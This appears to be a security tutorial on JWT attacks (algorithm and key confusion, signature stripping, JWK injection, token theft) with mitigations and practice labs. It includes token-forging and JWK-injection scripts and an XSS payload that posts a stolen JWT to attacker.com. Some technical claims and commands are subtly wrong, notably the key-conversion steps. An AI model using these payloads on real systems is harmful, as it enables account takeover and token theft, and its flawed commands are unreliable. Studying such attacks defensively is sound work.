~/home/study/advanced-jwt-attack-techniques-algorithm-key-confusion-token

Advanced JWT Attack Techniques: Algorithm & Key Confusion, Token Substitution

Deep dive into JWT attack vectors-algorithm confusion, key misuse, token substitution, JWK manipulation, storage flaws, and privilege escalation-plus detection, mitigation, and practical labs.

Introduction

JSON Web Tokens (JWT) have become the de-facto standard for stateless authentication in modern web applications, APIs, and micro-service architectures. Their compact, URL-safe format and support for multiple signing algorithms make them attractive, but they also introduce a rich attack surface when implementations deviate from the specification or are mis-configured.

This guide explores the most dangerous JWT-related attacks-algorithm confusion, key confusion, token substitution, and JWK endpoint manipulation-showing how attackers can forge or strip signatures, elevate privileges, and persist malicious sessions. Real-world examples, code snippets, and mitigation techniques are provided for security professionals who need to harden their token handling pipelines.

Prerequisites

  • Understanding of JWT structure and standard claims (iss, sub, exp, etc.).
  • Familiarity with OAuth 2.0 and OpenID Connect flows.
  • Basic knowledge of cryptographic primitives: HMAC, RSA/ECDSA, and the concept of public-private key pairs.
  • Awareness of OWASP Top 10, especially A07:2021 - Identification and Authentication Failures.

Core Concepts

A JWT consists of three Base64URL-encoded parts concatenated with dots: header.payload.signature. The header declares the signing algorithm (alg) and optionally a key identifier (kid). The payload carries claims. The signature is computed over Base64UrlEncode(header) + "." + Base64UrlEncode(payload) using the algorithm indicated.

During validation, a server typically follows this flow:

  1. Parse the token and Base64-decode header and payload.
  2. Verify that the alg value is among the algorithms the service explicitly supports.
  3. Retrieve the verification key (symmetric secret for HMAC, public key for RSA/ECDSA) - often via a JWK (JSON Web Key) endpoint.
  4. Re-compute the signature using the chosen algorithm and compare it with the token's signature.
  5. Validate standard claims (exp, nbf, iss, aud, etc.).

Any deviation-accepting an unexpected alg, using the wrong key type, or skipping signature verification-creates an exploitable window.

JWT structure and validation flow

Below is a minimal JWT created with HS256:

$ node -e "
const jwt = require('jsonwebtoken');
const token = jwt.sign({sub:'alice',role:'user'}, 'supersecret', {algorithm:'HS256'});
console.log(token);
"

Result (truncated for brevity):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjk5MDEyMzQyfQ.Lz0K0Xc0Vv2M1cB8P9R8eG9JZk2wVjFZsKpU2l6B5mE

The validation flow can be visualized as a flowchart (imagine a left-to-right pipeline: Decode → Algorithm Check → Key Lookup → Signature Verify → Claims Verify → Accept/Reject).

Algorithm confusion attacks (none, HS256 vs RS256)

Algorithm confusion occurs when a server trusts the alg claim supplied by the attacker. Two classic variants:

1. "none" algorithm abuse

If the server treats alg":"none" as a legitimate choice and skips verification, any attacker can craft a token with arbitrary claims:

{ "alg": "none" }
{ "sub": "bob", "role": "admin" }

Encoded and concatenated without a signature, the token is accepted. Mitigation: alg must be hard-coded on the server side; never trust the token's header for algorithm selection.

2. HS256 vs RS256 confusion

Both algorithms use the same alg string but differ in key type: HS256 expects a shared secret, RS256 expects an RSA private key for signing and a public key for verification. If a server accepts both and uses the same key material for both operations, an attacker can sign a token with HS256 using the public key (which is public!). Example in Python:

import jwt
public_key = open('public.pem').read()
# Attacker signs with HS256 using the public key as the secret
payload = {'sub':'carl','role':'admin'}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)

When the vulnerable server verifies the token with RS256, it uses the same public key as the verification key, and the signature matches, granting elevated privileges.

Mitigation steps:

  • Never allow both symmetric and asymmetric algorithms for the same key source.
  • Maintain separate key stores: one for HMAC secrets, another for RSA/ECDSA public keys.
  • Explicitly whitelist acceptable algorithms (e.g., algorithms=['RS256']).

Key confusion attacks (public key used as HMAC secret)

Key confusion expands on the previous concept: an attacker forces the server to treat a public key (or JWK) as a symmetric secret. This can happen when the server reads a JWK set, extracts the kty field, and blindly passes the entire JWK JSON as the HMAC secret.

Example vulnerable Node.js code:

const jwks = require('jwks-rsa');
const client = jwks({ jwksUri: 'https://example.com/.well-known/jwks.json' });
function verify(token) {
  const decoded = jwt.decode(token, {complete:true});
  const key = client.getSigningKey(decoded.header.kid);
  // WRONG: using the full JWK as secret for HS256
  return jwt.verify(token, key.publicKey, {algorithms:['HS256']});
}

An attacker can upload a malicious JWK containing a predictable RSA modulus, then sign a token with HS256 using that modulus as the secret. The server, believing it is verifying with RS256, actually verifies with HS256 and accepts the forged claims.

Defensive coding:

  • Separate code paths for symmetric vs asymmetric verification.
  • Validate kty ("RSA", "EC", "oct") and reject mismatched algorithm/key type combos.
  • Prefer libraries that enforce this separation (e.g., express-jwt with algorithms whitelist).

Token substitution & signature stripping

When an application stores the JWT in a cookie or header without integrity checks on the server-side, an attacker can replace a valid token with a crafted one (token substitution). In some poorly-implemented systems, the signature part is simply ignored-this is known as signature stripping.

Scenario:

  1. User logs in, receives access_token with a short expiry.
  2. Application stores the token in a SessionID cookie but never verifies the signature on subsequent requests, trusting only the sub claim.
  3. Attacker captures the cookie, removes the signature portion (everything after the second dot), and sends header.payload. (empty signature) to the server.

Because the server skips signature verification, any payload is accepted. The fix is simple: always verify the signature, even if the token is stored in a cookie.

JWK endpoint manipulation and insecure key rotation

Many modern services expose a JWK Set endpoint (/.well-known/jwks.json) for clients to fetch public keys. Attackers can exploit misconfigurations:

  • Open JWK endpoint without authentication*: Allows an attacker to enumerate all active keys, facilitating brute-force attacks against weak HMAC secrets.
  • Insecure key rotation: If the server continues to accept old keys indefinitely, an attacker who compromises a previously leaked key can continue issuing valid tokens long after rotation.
  • JWK injection: Some implementations allow dynamic addition of keys via an admin API. If that API lacks proper authorization, an attacker can inject a malicious key with a known private component.

Example of a vulnerable JWK JSON:

{
  "keys": [
    {"kty":"RSA","kid":"1","use":"sig","n":"...","e":"AQAB"},
    {"kty":"oct","kid":"2","use":"sig","k":"c2VjcmV0"} // symmetric key exposed!
  ]
}

Mitigations:

  • Serve JWKs over HTTPS with strict CORS policies.
  • Set a short cache-control:max-age and implement key rotation intervals (e.g., rotate RSA keys every 30 days, deprecate old keys after a grace period).
  • Never expose symmetric secrets in a public JWK set.
  • Audit admin APIs that modify JWK sets.

Exploiting insecure token storage (cookies, localStorage)

Where a token lives is as important as how it is signed. Common pitfalls:

  • Storing JWTs in localStorage: Susceptible to XSS; a malicious script can read the token and replay it.
  • Storing JWTs in non-HttpOnly cookies: Also vulnerable to XSS, but can be mitigated with the SameSite attribute.
  • Long-lived refresh tokens in the browser: Gives attackers a persistent foothold.

Demonstration of an XSS payload that extracts a JWT from localStorage and sends it to the attacker:

<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    mode: 'no-cors',
    body: localStorage.getItem('jwt')
  });
</script>

Mitigation checklist:

  • Prefer HttpOnly, Secure, SameSite cookies for access tokens.
  • Never store refresh tokens in the browser; use rotating refresh tokens with short lifetimes.
  • Implement Content Security Policy (CSP) and proper output encoding to reduce XSS risk.

Privilege escalation via forged claims

When validation is weak, attackers can inject arbitrary claims such as role, admin, or scope. A typical escalation payload:

{ "alg":"HS256" }
{ "sub":"eve", "role":"admin", "exp":1893456000 }

Because the exp is set far in the future, the token remains valid for months. If the server uses the role claim to gate admin APIs, the attacker now has unrestricted access.

Defensive measures:

  • Never trust client-provided role information; derive authority from a server-side session store or a dedicated introspection endpoint.
  • Implement claim whitelisting: only accept claims you explicitly expect.
  • Enforce short lifetimes for access tokens (5-15 minutes) and use rotating refresh tokens.

Detection and mitigation strategies

Detecting JWT abuse requires both runtime monitoring and static analysis:

  • Log signature verification failures with the offending alg and kid. Sudden spikes may indicate an algorithm-confusion attempt.
  • Audit JWK endpoint access logs for unusual IPs or non-human patterns.
  • Implement replay detection (e.g., store a hash of the JWT ID (jti) in a cache with the token's expiry).
  • Use security-oriented libraries that enforce algorithm whitelisting and key-type checks (e.g., auth0/java-jwt, pyjwt with options={'verify_signature': True}).

Mitigation checklist (quick reference):

1. Hard-code allowed algorithms; reject "none".
2. Separate symmetric and asymmetric keys; never reuse a public key as HMAC secret.
3. Validate kid against expected key type.
4. Enforce short token lifetimes; rotate keys regularly.
5. Store tokens in HttpOnly, Secure, SameSite cookies.
6. Apply CSP, input sanitisation, and output encoding to prevent XSS.
7. Monitor JWK endpoint usage and log verification failures.

Practical Examples

Example 1: Exploiting HS256 vs RS256 confusion with a public key

# 1. Retrieve the public key from the target's JWK endpoint
curl -s https://vulnerable.app/.well-known/jwks.json | jq -r '.keys[0].n' > pub.n
# 2. Convert to PEM (using OpenSSL)
openssl rsa -pubin -inform DER -in pub.n -outform PEM -out pub.pem
# 3. Craft a malicious token with HS256 using the public key as the secret
python3 - <<'PY'
import jwt, base64
with open('pub.pem','rb') as f:
    pub_key = f.read()
payload = {'sub':'mallory','role':'admin','exp':9999999999}
token = jwt.encode(payload, pub_key, algorithm='HS256')
print(token)
PY
# 4. Send the token to the vulnerable endpoint
curl -H "Authorization: Bearer $TOKEN" https://vulnerable.app/admin

Outcome: The server validates the token with RS256, but because it uses the same public key as the HMAC secret, the signature matches and the attacker gains admin access.

Example 2: JWK injection via mis-protected admin API

# Attacker adds a malicious RSA key pair (private part known)
ATTACKER_PRIV=$(openssl genrsa 2048)
ATTACKER_PUB=$(openssl rsa -pubout -in <(echo "$ATTACKER_PRIV"))
# POST to the insecure admin endpoint
curl -X POST https://vulnerable.app/api/jwk \
  -H "Content-Type: application/json" \
  -d "{\"kty\":\"RSA\",\"kid\":\"evil\",\"use\":\"sig\",\"n\":\"$(echo $ATTACKER_PUB | base64 -w0)\",\"e\":\"AQAB\"}"
# Now sign a token with the private key and use "kid":"evil"
python3 - <<'PY'
import jwt, json, base64
priv = '''$(echo "$ATTACKER_PRIV")'''
payload = {'sub':'bob','role':'admin','exp':9999999999}
headers = {'kid':'evil'}
token = jwt.encode(payload, priv, algorithm='RS256', headers=headers)
print(token)
PY

By injecting the key, the attacker bypasses any rotation schedule and can keep forging admin tokens.

Tools & Commands

  • jwt-tool (Go): jwt decode <token> to inspect header/payload.
  • jwt-cracker (Python): brute-forces weak HMAC secrets.
  • Burp Suite - Intruder templates for token manipulation.
  • OpenSSL for key conversion and JWK generation.
  • jq for parsing JWK JSON responses.

Sample OpenSSL conversion command:

# Convert a JWK RSA modulus/exponent to PEM
jq -r '.keys[0] | "\( .n ) \( .e )"' jwks.json | \
  awk '{print "-----BEGIN PUBLIC KEY-----\n" $1 "\n-----END PUBLIC KEY-----"}' > key.pem

Defense & Mitigation

Beyond the checklist, adopt a defense-in-depth approach:

  1. Library hardening: Use vetted JWT libraries that default to RS256 and reject "none".
  2. Zero-trust verification: Never trust any claim from the token without server-side verification (e.g., query a user database for role).
  3. Key management: Store symmetric secrets in a secrets manager (Vault, AWS KMS) and rotate them automatically.
  4. Audience & Issuer validation: Enforce aud and iss checks to prevent token reuse across services.
  5. Replay protection: Store used jti values in a short-lived cache (Redis) and reject duplicates.
  6. Content Security Policy & Subresource Integrity to reduce XSS vectors that could steal tokens.

Common Mistakes

  • Accepting any alg from the token header.
  • Mixing symmetric and asymmetric keys in the same key store.
  • Exposing symmetric secrets via public JWK endpoints.
  • Storing JWTs in insecure client-side locations without HttpOnly flag.
  • Relying solely on token claims for authorization decisions.

Each mistake can be eliminated by a simple policy rule or a one-line library configuration change.

Real-World Impact

Several high-profile breaches have stemmed from JWT mis-configurations. In 2021, a major SaaS provider exposed a JWK endpoint that included an oct key used for HS256 signing. Attackers extracted the secret, forged admin tokens, and accessed customer data. The incident forced a complete redesign of the key-distribution pipeline.

Trend analysis: As micro-service architectures proliferate, the number of JWK endpoints grows, expanding the attack surface. Automated scanning tools now flag "JWT algorithm none acceptance" as a critical issue, and security-as-code frameworks (e.g., Open Policy Agent) are beginning to enforce JWT validation policies at the API gateway level.

My experience: The most common root cause is a lack of separation between development and production key material. Developers often copy a test RSA private key into production config, forgetting to rotate it. This creates a permanent backdoor that can be exploited long after the application is in production.

Practice Exercises

  1. Algorithm Confusion Lab: Set up a Node.js API that accepts both HS256 and RS256. Write a script that extracts the public key from the JWK endpoint and forges an HS256 token. Verify that the API accepts it.
  2. JWK Injection Challenge: Deploy a vulnerable Flask app with an insecure /admin/jwk endpoint. Add a malicious RSA key and use it to sign a token that grants admin access.
  3. Storage Hardening: Take a web app that stores JWTs in localStorage. Refactor it to use HttpOnly cookies, add CSP, and demonstrate that an injected XSS payload can no longer read the token.
  4. Replay Detection: Implement a Redis-backed jti cache in an Express middleware. Show that replaying a captured token after first use results in a 401 response.

Each lab should include a brief write-up of the observed behavior before and after mitigation.

Further Reading

  • RFC 7519 - JSON Web Token (JWT)
  • RFC 7515 - JSON Web Signature (JWS)
  • Auth0 Blog: "Understanding JWT Attacks" (2023)
  • OWASP Cheat Sheet: JSON Web Token
  • Open Policy Agent - JWT validation policies

Summary

JWTs are powerful but fragile. By hard-coding allowed algorithms, separating key types, protecting JWK endpoints, and storing tokens securely, you can neutralize algorithm confusion, key confusion, and token substitution attacks. Continuous monitoring, short token lifetimes, and strict claim validation complete a robust defense-in-depth strategy.